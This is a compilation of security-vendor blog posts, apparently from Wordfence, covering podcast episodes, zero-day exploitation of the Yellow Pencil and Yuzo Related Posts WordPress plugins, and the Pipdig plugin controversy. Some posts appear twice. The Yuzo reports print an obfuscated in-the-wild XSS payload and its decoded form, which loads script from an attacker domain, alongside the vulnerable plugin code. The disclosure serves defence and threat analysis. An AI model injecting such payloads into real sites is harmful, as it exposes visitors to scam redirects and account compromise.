Podcast Episode 7: The Tyler Lau Interview, Assange, Thought Experiments, AirBnB Scams and More

This week we look at the Assange arrest, an irresponsible security researcher affecting the WordPress community and do a bit of a thought experiment. We also look at Google’s Sensorvault and how it’s being used by law enforcement, the fascinating rise and fall of the Bayrob malware gang, and some tips for avoiding a new AirBnB scam. I also talked to Tyler Lau at WordCamp Phoenix last month, and we share that interview with you today. Tyler is the Social Community Manager at Sandhills Development. Sandhills makes some very popular plugins including Easy Digital Downloads, AffiliateWP. We talked about the WordPress community, WordPress in general and some of the cool things that Sandhills is involved in. Enjoy!

Here are approximate timestamps in case you want to jump around:
0:51 Assange taken into custody
20:27 Irresponsible security researcher
30:50 Google Sensorvault
35:14 Bayrob malware gang
43:07 Land Lordz service powering AirBnB scams
49:57 Tyler Lau interview

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

  • Julian Assange is taken into custody after seven years in the Ecuadorian embassy in London. The US Department of Justice is charging him with conspiracy to commit computer intrusion for agreeing to break a password to a classified U.S. government computer.
  • Ars Technica publishes details about the rogue security researcher with a grudge dropping 0days on innocent WordPress users. We’ve covered this irresponsible researchers on past episodes. Mark had a bit of a Tweet storm about this over the weekend. Here’s the link to the WordPress HackerOne bug bounty program.
  • Google’s sensorvault, a database of location records from hundreds of millions of devices, is being used by law enforcement.
  • A fascinating story about the Bayrob malware gang from Romania gives an detailed look at who makes money from malware, their expertise, and ultimately how they were caught.
  • Scammers use a new tool called Land Lordz to automate fake AirBnB scams, but there are ways to detect this scam and stay safe.

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Tyler Lau as @tylermaximuslau. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 7: The Tyler Lau Interview, Assange, Thought Experiments, AirBnB Scams and More appeared first on Wordfence.

Read More

Zero-Day Vulnerability in Yellow Pencil Visual Theme Customizer Exploited in the Wild

On Monday the WordPress plugin Yellow Pencil Visual Theme Customizer was closed in the WordPress.org plugin repository. The plugin is quite popular, with an active install base of over 30,000 websites. On Tuesday a security researcher made the irresponsible and dangerous decision to publish a blog post including a proof of concept (POC) detailing how to exploit a set of two software vulnerabilities present in the plugin.

We are seeing a high volume of attempts to exploit this vulnerability. The exploits very closely resemble the POC posted by the irresponsible researcher.

We deployed a firewall rule to protect against these attacks yesterday, which our Premium customers have now received. All site owners are urged to remove the plugin from their sites immediately.

Privilege Escalation Enables Arbitrary Options Updates

The first flaw that enables this attack is present in the yellow-pencil.php file within the plugin. The yp_remote_get_first() function is called on every page load and checks if a specific request parameter (yp_remote_get) has been set. If it has, the plugin escalates privileges to that of an administrator for the remainder of the request.

function yp_remote_get_first(){
     if(isset($_GET["yp_remote_get"])){
         wp_set_current_user(1);
         show_admin_bar(false);
     }
 }

This privilege escalation makes any user capabilities checks later in the plugin moot. As a result, unauthenticated users can perform actions, such as change arbitrary options, that were only meant for site administrators. A cross-site request forgery (CSRF) check is missing in the function below that would have made it much more difficult to exploit.

function yp_option_update(){

     // Can?
     if(current_user_can("edit_theme_options") == true){
 
         // Import the data
         if(isset($_POST['yp_json_import_data'])){
 
             $data = trim( strip_tags ( $_POST['yp_json_import_data'] ) );
 
             if(empty($data) == false){
 
                 yp_import_data($data);

Familiar Threat Actor Strikes Again

We’re again seeing commonalities between these exploit attempts and attacks on recently discovered vulnerabilities in the Social Warfare, Easy WP SMTP and Yuzo Related Posts plugins. Exploits so far are using a malicious script hosted on a domain, hellofromhony[.]com , which resolves to 176.123.9[.]53. That IP address was used in the other attacks mentioned. We are confident that all four attack campaigns are the work of the same threat actor.

Conclusion

As continues to be the case, a disgruntled security researcher continues to put the WordPress community at risk by publicly disclosing POCs for zero-day vulnerabilities. In this environment we strongly recommend staying on top of WordPress security news and considering an upgrade to Wordfence Premium.

Site owners running the Yellow Pencil Visual Theme Customizer plugin are urged to remove it from their sites immediately. Wordfence Premium customers received an updated firewall rule to protect against this vulnerability yesterday. Free users will receive it 30 days later.

The post Zero-Day Vulnerability in Yellow Pencil Visual Theme Customizer Exploited in the Wild appeared first on Wordfence.

Read More

Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild

The Yuzo Related Posts plugin, which is installed on over 60,000 websites, was removed from the WordPress.org plugin directory on March 30, 2019 after an unpatched vulnerability was publicly, and irresponsibly, disclosed by a security researcher that same day. The vulnerability, which allows stored cross-site scripting (XSS), is now being exploited in the wild. These attacks appear to be linked to the same threat actor who targeted the recent Social Warfare and Easy WP SMTP vulnerabilities.

The XSS protection included in the Wordfence firewall protects against the exploit attempts we have seen so far. Both free and Premium Wordfence users are protected against these attacks. Based on a deeper analysis of the security flaws present in the plugin we have also deployed protection against additional attack vectors. Premium customers will receive the update today, free users in 30 days. We recommend that all users remove the plugin from their sites immediately.

is_admin() Strikes Again

The vulnerability in Yuzo Related Posts stems from missing authentication checks in the plugin routines responsible for storing settings in the database. The code below from assets/ilenframework/core.php is the crux of the problem.

function __construct(){

if( ! is_admin() ){ // only front-end

self::set_main_variable();
return;

}elseif( is_admin() ){ // only admin

// set default if not exists
self::_ini_();

Developers often mistakenly use is_admin() to check if a piece of code that requires administrative privileges should be run, but as the WordPress documentation points out, that isn’t how the function should be used. In this scenario self::_ini_() is called on any request to an administrative interface page, including /wp-admin/options-general.php and /wp-admin/admin-post.php, which allows a POST request to those pages to be processed by self::save_options(); later in the code.

The result is that an unauthenticated attacker can inject malicious content, such as a JavaScript payload, into the plugin settings. That payload is then inserted into HTML templates and executed by the web browser when users visit the compromised website. This security issue could be used to deface websites, redirect visitors to unsafe websites, or compromise WordPress administrator accounts, among other things.

Exploits Lead to Malicious Redirects

Today, eleven days after this vulnerability was irresponsibly disclosed and a proof-of-concept (PoC) was published, threat actors have begun exploiting sites with Yuzo Related Posts installed.

Exploits currently seen in the wild inject malicious JavaScript into the yuzo_related_post_css_and_style option value.

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Once deobfuscated, it’s easier to see what the script is doing:

</style><script language=javascript>var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://hellofromhony.org/counter';
document.getElementsByTagName('head')[0].appendChild(elem);</script>

When a user visits a compromised website containing the above payload, they will be redirected to malicious tech support scam pages. Example:

Three Vulnerabilities with a Lot in Common

Our analysis shows that the attempts to exploit this vulnerability share a number of commonalities with attacks on two other vulnerabilities discovered in other plugins: Social Warfare and Easy WP SMTP.

Exploits so far have used a malicious script hosted on hellofromhony[.]org, which resolves to 176.123.9[.]53. That same IP address was used in the Social Warfare and Easy WP SMTP campaigns. In addition, all three campaigns involved exploitation of stored XSS injection vulnerabilities and have deployed malicious redirects. We are confident that the tactics, techniques and procedures (TTPs) in all three attacks point to a common threat actor.

Conclusion

As was the case a few weeks ago, the irresponsible actions of a security researcher has resulted in a zero-day plugin vulnerability being exploited in the wild. Cases like this underscore the importance of a layered security approach which includes a WordPress firewall.

Site owners running the Yuzo Related Posts plugin are urged to remove it from their sites immediately, at least until a fix has been published by the author. Wordfence Premium customers and free users have been protected against the current attacks we’re seeing in the wild. An additional firewall rule to protect against alternate exploits has been developed and deployed to our Premium customers today and will be available to free users in 30 days.

The post Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild appeared first on Wordfence.

Read More

Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild

The Yuzo Related Posts plugin, which is installed on over 60,000 websites, was removed from the WordPress.org plugin directory on March 30, 2019 after an unpatched vulnerability was publicly, and irresponsibly, disclosed by a security researcher that same day. The vulnerability, which allows stored cross-site scripting (XSS), is now being exploited in the wild. These attacks appear to be linked to the same threat actor who targeted the recent Social Warfare and Easy WP SMTP vulnerabilities.

The XSS protection included in the Wordfence firewall protects against the exploit attempts we have seen so far. Both free and Premium Wordfence users are protected against these attacks. Based on a deeper analysis of the security flaws present in the plugin we have also deployed protection against additional attack vectors. Premium customers will receive the update today, free users in 30 days. We recommend that all users remove the plugin from their sites immediately.

is_admin() Strikes Again

The vulnerability in Yuzo Related Posts stems from missing authentication checks in the plugin routines responsible for storing settings in the database. The code below from assets/ilenframework/core.php is the crux of the problem.

function __construct(){

if( ! is_admin() ){ // only front-end

self::set_main_variable();
return;

}elseif( is_admin() ){ // only admin

// set default if not exists
self::_ini_();

Developers often mistakenly use is_admin() to check if a piece of code that requires administrative privileges should be run, but as the WordPress documentation points out, that isn’t how the function should be used. In this scenario self::_ini_() is called on any request to an administrative interface page, including /wp-admin/options-general.php and /wp-admin/admin-post.php, which allows a POST request to those pages to be processed by self::save_options(); later in the code.

The result is that an unauthenticated attacker can inject malicious content, such as a JavaScript payload, into the plugin settings. That payload is then inserted into HTML templates and executed by the web browser when users visit the compromised website. This security issue could be used to deface websites, redirect visitors to unsafe websites, or compromise WordPress administrator accounts, among other things.

Exploits Lead to Malicious Redirects

Today, eleven days after this vulnerability was irresponsibly disclosed and a proof-of-concept (PoC) was published, threat actors have begun exploiting sites with Yuzo Related Posts installed.

Exploits currently seen in the wild inject malicious JavaScript into the yuzo_related_post_css_and_style option value.

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Once deobfuscated, it’s easier to see what the script is doing:

</style><script language=javascript>var elem = document.createElement('script');
elem.type = 'text/javascript';
elem.async = true;
elem.src = 'https://hellofromhony.org/counter';
document.getElementsByTagName('head')[0].appendChild(elem);</script>

When a user visits a compromised website containing the above payload, they will be redirected to malicious tech support scam pages. Example:

Three Vulnerabilities with a Lot in Common

Our analysis shows that the attempts to exploit this vulnerability share a number of commonalities with attacks on two other vulnerabilities discovered in other plugins: Social Warfare and Easy WP SMTP.

Exploits so far have used a malicious script hosted on hellofromhony[.]org, which resolves to 176.123.9[.]53. That same IP address was used in the Social Warfare and Easy WP SMTP campaigns. In addition, all three campaigns involved exploitation of stored XSS injection vulnerabilities and have deployed malicious redirects. We are confident that the tactics, techniques and procedures (TTPs) in all three attacks point to a common threat actor.

Conclusion

As was the case a few weeks ago, the irresponsible actions of a security researcher has resulted in a zero-day plugin vulnerability being exploited in the wild. Cases like this underscore the importance of a layered security approach which includes a WordPress firewall.

Site owners running the Yuzo Related Posts plugin are urged to remove it from their sites immediately, at least until a fix has been published by the author. Wordfence Premium customers and free users have been protected against the current attacks we’re seeing in the wild. An additional firewall rule to protect against alternate exploits has been developed and deployed to our Premium customers today and will be available to free users in 30 days.

The post Yuzo Related Posts Zero-Day Vulnerability Exploited in the Wild appeared first on Wordfence.

Read More

Podcast Episode 6: The Brandy Lawson Interview, The News and Facebook Rants

This week we follow up on two stories from last week, the Pipdig P3 plugin and Jetpack suggestions found within the WordPress plugin dashboard. We also take a look at quite a few privacy concerns with Grammarly, malware in the healthcare industry, and we discuss privacy concerns with Facebook. I also talk to Brandy Lawson, a digital agency entrepreneur in Phoenix, Arizona. Brandy is passionate about helping coaches, speakers, and authors who are making an impact on the world. I had a wonderful conversation with Brandy at WordCamp Phoenix that I think you’ll really enjoy.

Here are approximate timestamps in case you want to jump around:
0:37 – The pipdig story followup
8:30 – Jetpack plugin suggestions
14:00 – Mika Epstein blog post
17:30 – Grammarly privacy concerns
27:05 – Healthcare malware
34:00 – Marcus Hutchins update
36:05 – Facebook privacy concerns
54:55 – The Brandy Lawson interview

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Brandy Lawson as @thefieryfx . Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 6: The Brandy Lawson Interview, The News and Facebook Rants appeared first on Wordfence.

Read More

Podcast Episode 6: The Brandy Lawson Interview, The News and Facebook Rants

This week we follow up on two stories from last week, the Pipdig P3 plugin and Jetpack suggestions found within the WordPress plugin dashboard. We also take a look at quite a few privacy concerns with Grammarly, malware in the healthcare industry, and we discuss privacy concerns with Facebook. I also talk to Brandy Lawson, a digital agency entrepreneur in Phoenix, Arizona. Brandy is passionate about helping coaches, speakers, and authors who are making an impact on the world. I had a wonderful conversation with Brandy at WordCamp Phoenix that I think you’ll really enjoy.

Here are approximate timestamps in case you want to jump around:
0:37 – The pipdig story followup
8:30 – Jetpack plugin suggestions
14:00 – Mika Epstein blog post
17:30 – Grammarly privacy concerns
27:05 – Healthcare malware
34:00 – Marcus Hutchins update
36:05 – Facebook privacy concerns
54:55 – The Brandy Lawson interview

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, and Brandy Lawson as @thefieryfx . Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 6: The Brandy Lawson Interview, The News and Facebook Rants appeared first on Wordfence.

Read More

Podcast Episode 5: The Raquel Landefeld Interview & The Pipdig Story

This week I chat about the Pipdig controversy in full with Mikey Veenstra and Kathy Zant. Kathy and I cover the news. And we have an amazing interview with Raquel Landefeld who is a community organizer for WordPress, co-founder of agency Mode Effect and a well known and loved personality in the WordPress community. Raquel and I chat about her adventures as a mom in tech, Gutenberg, her approach to networking, what it is like being a WordCamp Phoenix organizer and what she is up to for the rest of this year.

This episode is a bit long, so here are approximate segment timestamps in case you want to jump around:
0:44 – Pipdig Scandal
50:11 – News starts
50:20 – The Florida Man Challenge opsec fail
53:52 – Jetpack suggestion in plugin search
58:08 – Longtime online writer loses funding sources (VioletBlue)
1:05:34 – The EU and article 13
1:10:30 – Interview with Raquel Landefeld

Find us on your favorite app or platform including iTunes, Google Podcasts, Spotify, YouTube, SoundCloud and Overcast.

Click here to download an MP3 version of this podcast.

This week in the news we cover:

  • The Florida Man Challenge asks you to find your Florida Man story by searching for your birthdate along with the phrase “Florida Man” and posting the results on social media. This “opsec fail” entices people to expose their own personally identifiable information which could be used by malicious actors.
  • WordPress developer Mehul Gohil found a suggestion in the plugin dashboard for Jetpack’s CDN, which sparked some discussion on Twitter.
  • Longtime content creator VioletBlue lost her Amazon Associates account, which has been active since 2002 because of the nature of the content she writes.
  • European Parliament recently passed Article 13, thus placing responsibility for copyright enforcement onto online platforms instead of copyright holders.

You can find me on Twitter as @mmaunder, Kathy as @kathyzant, Mikey as @heyitsmikeyv Raquel Landefeld as @raquelandefeld and Jem Turner as @jemjabella. Please don’t hesitate to post your feedback in the comments below.

The post Podcast Episode 5: The Raquel Landefeld Interview & The Pipdig Story appeared first on Wordfence.

Read More

Pipdig Update: Dishonest Denials, Erased Evidence, and Ongoing Offenses

In last week’s post, we reported on some concerning code identified in the Pipdig Power Pack (P3) plugin. The plugin, which is installed alongside WordPress themes sold by Pipdig, was found to contain a number of suspicious or malicious features. Among these features were a remote “killswitch” Pipdig could use to destroy sites, an obfuscated function used to change users’ passwords, and code which generated hourly requests with the apparent intent of DDoSing a competitor’s site.

In the days since we published that report, Pipdig has taken a series of increasingly questionable steps in their attempts to mitigate the fallout of their actions. Their team has issued baseless accusations that facts have been fabricated, collusion between their competitors had taken place, and that no wrongdoing of any sort had occurred.

These assertions stand in direct conflict with their actions. They’ve pulled down incriminating files from their sites, pushed undocumented updates to their plugins to remove additional malicious code, and have attempted to rewrite history by modifying dates of changelog entries. Then, perhaps most egregiously, Pipdig took down the Bitbucket repository containing a great deal of evidence of these actions. All of this had been done while an entire community of WordPress developers watched.

In today’s followup, we’ll use Pipdig’s official responses to recap their documented offenses. Then, we’ll discuss the timeline of events in the deployment and subsequent removal of Pipdig’s malicious code. After that, we’ll look at the evidence they’ve made efforts to destroy. Last, we’ll reveal new evidence that Pipdig’s suspected DDoS campaign against their competitor had still been active until April 1st, using Blogger themes.

Recap: Pipdig’s Words vs. Pipdig’s Code

In the uproar following the publication of their missteps, Pipdig released (and subsequently updated) a statement with the intent of dispelling the controversy. Unfortunately, instead of admitting fault and apologizing to their users, Pipdig leaned into a series of accusations and denials.

Let’s take a look at the individual points of these responses, and why each fails to help Pipdig’s cause. We’ll avoid using code samples in this section, though the Timeline section that follows will contain code as evidence.

Unauthenticated WordPress Database Deletion

In our report, we explained how a cron (scheduled process) built into the P3 plugin was effectively asking Pipdig’s server every hour for permission to destroy the database of the site it’s running on. Pipdig hasn’t denied that the code existed, but has attempted to “rebrand” the behavior in a number of ways.

In total, we’ve received three unique answers from Pipdig about this issue. We have yet to confirm which is actually authoritative. The answers, in the order Pipdig made them, are:

Answer 1: This was an anti-piracy feature but Pipdig never used it.
Source: Email response from Phil Clothier

On Thursday, March 28, we reached out to Pipdig’s team for comment on the first set of issues we had confirmed in their plugin. We quickly received a response from Phil Clothier, which among other statements contained the following:

Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to try to stop this at the time. […] The function was never used.

Answer 2: It doesn’t destroy the database. It’s there to reset a site to defaults. We use it with permission from site owners.
Source: Pipdig’s public response, published March 29th.

Pipdig’s immediate public response told a different story. After claiming that the claims were “not based on reality”, Pipdig asserts that to “clear” database tables is similar behavior to what would be found in a backup plugin.

“contains a ‘kill switch’ which drops all database tables”

This is the most serious accusation of all, and not one which we take lightly. The portrayal of this feature is not based on reality. There is a function in the plugin which can be used to clear database tables, much like a backup or standard reset plugin. To confirm, we do not have the ability to “kill” a site, nor would we ever, ever want to do that! The function is in place to reset a site back to defaults, however it is only activated after being in touch with the site owner.

There are three problems in this short reply.

First a “default” WordPress site is no different than a destroyed one. The next visitor to the “defaulted” site would be prompted with a setup page and have the ability to install themselves as the administrator in the newly generated WordPress database.

Second, any honest plugin developer providing a legitimate means for a user to destroy their own database (whether that’s a good idea or not is a different story) would leave that choice strictly to the user. Instead of offering a user-facing button surrounded by “Are you sure you want to delete this entire database?” warnings, the P3 plugin silently asks their servers once every hour if the database should be vaporized.

Third, this answer conflicts with the previous one. Is this code for anti-piracy or for a “factory reset”? Has it ever been used or not?

Answer 3: It was an anti-piracy feature after all, we did use it, and it was effective.
Source: Pipdig’s amended response, updated March 31st.

To our great surprise, Pipdig followed up two days later by issuing a direct contradiction to an assertion made on the very same page.

Why did this function exist?

The function was available in the pipdig Power Pack in July last year, when a serious incident occurred:

A 3rd party was able to download all of our themes illegitimately and post them on a clone of our own site. This included previews of our themes and the ability to purchase them. We were first alerted to this by people which had purchased a pipdig theme from there, but were finding that certain features did not work correctly. After investigation, we found that the victim had purchased the theme from the 3rd party, thinking it was us. The 3rd party not only gained the financial benefit of the theme payment, but also used it as a way to inject malware and ads into the victim’s site. The reset function was put in place in order to remove the 3rd party’s ability to host preview sites with our themes. It worked, and they have since disappeared. The function was then removed in a later version of the plugin.

In their final response on the subject, Pipdig reverts to calling it an anti-piracy feature. They claim it was introduced in July 2018, following a case of stolen theme files and licenses, and that “It worked”. This claim, true or not, stands against Phil’s original statement in his email that the feature was never actually used. Furthermore, they end this statement with the line “The function was then removed in a later version of the plugin.”

The two statements regarding the timeline of these events stand out. First, their claim that the database deletion code was introduced in 2018 is false, which we’ll discuss in more detail in the “Timeline” section of this post. Next, they leave the statement “a later version of the plugin” ambiguous, likely to sidestep the fact that it was removed days prior, and only after they were contacted.

Overall though, despite the firestorm of controversy surrounding this database deletion feature, it remains one of the less-interesting chapters of this story. The code is dangerous, and Pipdig’s difficulty in explaining it is striking, but there are more serious concerns in play.

Unauthenticated Password Reset

Our first report additionally detailed code built to reset a user’s WordPress password. While their responses to this have been consistent, they haven’t exactly been satisfactory.

Do you have the ability to log in to any site using a pipdig theme without permission?

No. If we need to log in to provide assistance with an issue, we will ask for it in the support request. This is stored securely whilst the ticket is open and not shared with any 3rd parties.

A simple “No.” was the extent of their refutation to this claim. This is unfortunate, because the code recently deleted from their plugin strongly disagrees.

Suspected DDoS Against A Competitor

One of the larger points of contention in this story pertains to code generating suspicious requests which originally targeted a competitor’s site. Once per hour, this code fetched the contents of a file hosted by Pipdig, which contained a target address for a subsequent outgoing request from the affected site’s server. Until immediately after Pipdig was contacted, the file hosted by Pipdig contained the admin-ajax.php URL of one of their direct competitors’ WordPress sites.

“is using other blogger’s servers to perform a DDoS on a competitor”

This function is used to pass the theme’s license key to an external server, which then passes that data to our main site at pipdig.co. We use the Cloudflare CDN to make sure the data is sent securely and as quickly as possible regardless of where your site is hosted globally. This data includes what domain the theme is installed on, as well as a link to the “Author URL” from the theme’s readme.txt file. This is used to activate a theme’s license key.

In their response, Pipdig claims these requests were used to activate a theme’s license key. They reported that these requests contain data like the domain of the site and the Author URL field from their theme’s readme.txt file.

None of this statement aligns with the actual behavior of the code. First, neither of the issued requests (both to Pipdig’s server and second request to the target’s site) contain any meaningful data, much less a license key. Second, the claim that an Author URL is pulled from readme.txt for the second request is false.

We’re now looking into why this function is returning this url. However it seems to suggest that some of the “Author URLs” have been set to ‘kotrynabassdesign.com’. We don’t currently know why this is the case, or whether the site owner has intentionally changed this. The response should hit our site’s wp-admin/admin-ajax.php file under normal circumstances. On the surface it could mean that some pipdig themes have been renamed to other authors. We will be looking further into this issue and provide more information as it comes up. We can confirm that it won’t cause any issues for sites using pipdig themes, even if the author name/URL has been changed.

Further, Pipdig goes on to speculate that their competitor’s URL had somehow ended up replacing their own Author URI, which is why requests were directed to this competitor. This claim is baseless by itself, and the logic doesn’t hold up to scrutiny.

Pipdig doesn’t acknowledge that the competitor’s URL was actually retrieved from their own servers as opposed to any local source. They also don’t address how a license key would be validated by this code when no license is sent.

Moreover, assuming that this code actually pertained to a license checking feature, one would have to assume that their license checking would be broken entirely by the sudden removal of this code following the attention drawn to it. At the risk of editorializing, this seems unlikely.

Do you DDOS competitors?

No.

Pipdig’s amended response to this claim was much simpler, and equally verifiable.

Further Miscellaneous Claims

Additional claims were offered in our post and those from other developers who picked up the story over time. For the sake of brevity, we won’t be detailing them all in this post. Suffice to say, the community has been left hungry for a more substantial response to their concerns.

Removal of Evidence

During the investigation it was revealed that Pipdig maintained a public Bitbucket repository. This repo contained the commit history of the P3 plugin going back to 2015. We cloned this repository to ensure we wouldn’t lose access as time went on, and saved snapshots of the relevant Bitbucket webpages for future citation.

Screenshot of P3’s commit history.

These efforts proved useful when, on March 31st, Pipdig removed this repository and later replaced it with a “clean” one.

A significantly lighter commit history replaced the previous one following Pipdig’s takedown.

To many, the removal of this source of evidence had changed the story significantly. Twitter users responded with uniform disbelief when this had taken place.

When compared to other examples of concealed evidence, like their lack of a disclosure in changelogs and improper versioning, this action was notably suspicious.

One other change stands out, and while it’s less directly nefarious, it still draws a lot of questions about Pipdig’s goals. The new, “clean” repository features a curious difference in its changelog.

Screenshot of P3’s new changelog, which shows 4.8.0’s release date as March 24th.

This version of the changelog claims version 4.8.0 was released on March 24th. However, commits from the actual repository showed that 4.7.1 was released on that date. In reality, it wasn’t until the March 29th that Pipdig’s first release of 4.8.0 was deployed.

We can only speculate regarding Pipdig’s motives in changing this date. Either way, it should be assumed that someone investigating malicious activity would notice a change like this.

Timeline of Events

In this section, we’ll give a step-by-step rundown of when certain actions were taken before and after the discovery of Pipdig’s behavior. Where necessary, this will include code samples and archive links as supporting citations. This won’t be exhaustive, especially in cases where many edits were made to individual lines of code over time, but should offer an authoritative and verifiable history of how the story unfolded.

In light of the fact that Pipdig has been witnessed attempting to conceal evidence of these issues, we have backed up some of our sources through third-party means. These services are known to be trustworthy in their space, and can serve as documentation that these claims are true. When available, we will provide alternate links to these sources in addition to their original location. Additionally, instances of code added and removed from the P3 plugin are supported by the hash of the relevant commit to the plugin’s git repository.

November 7, 2017 – First instance of database drop code
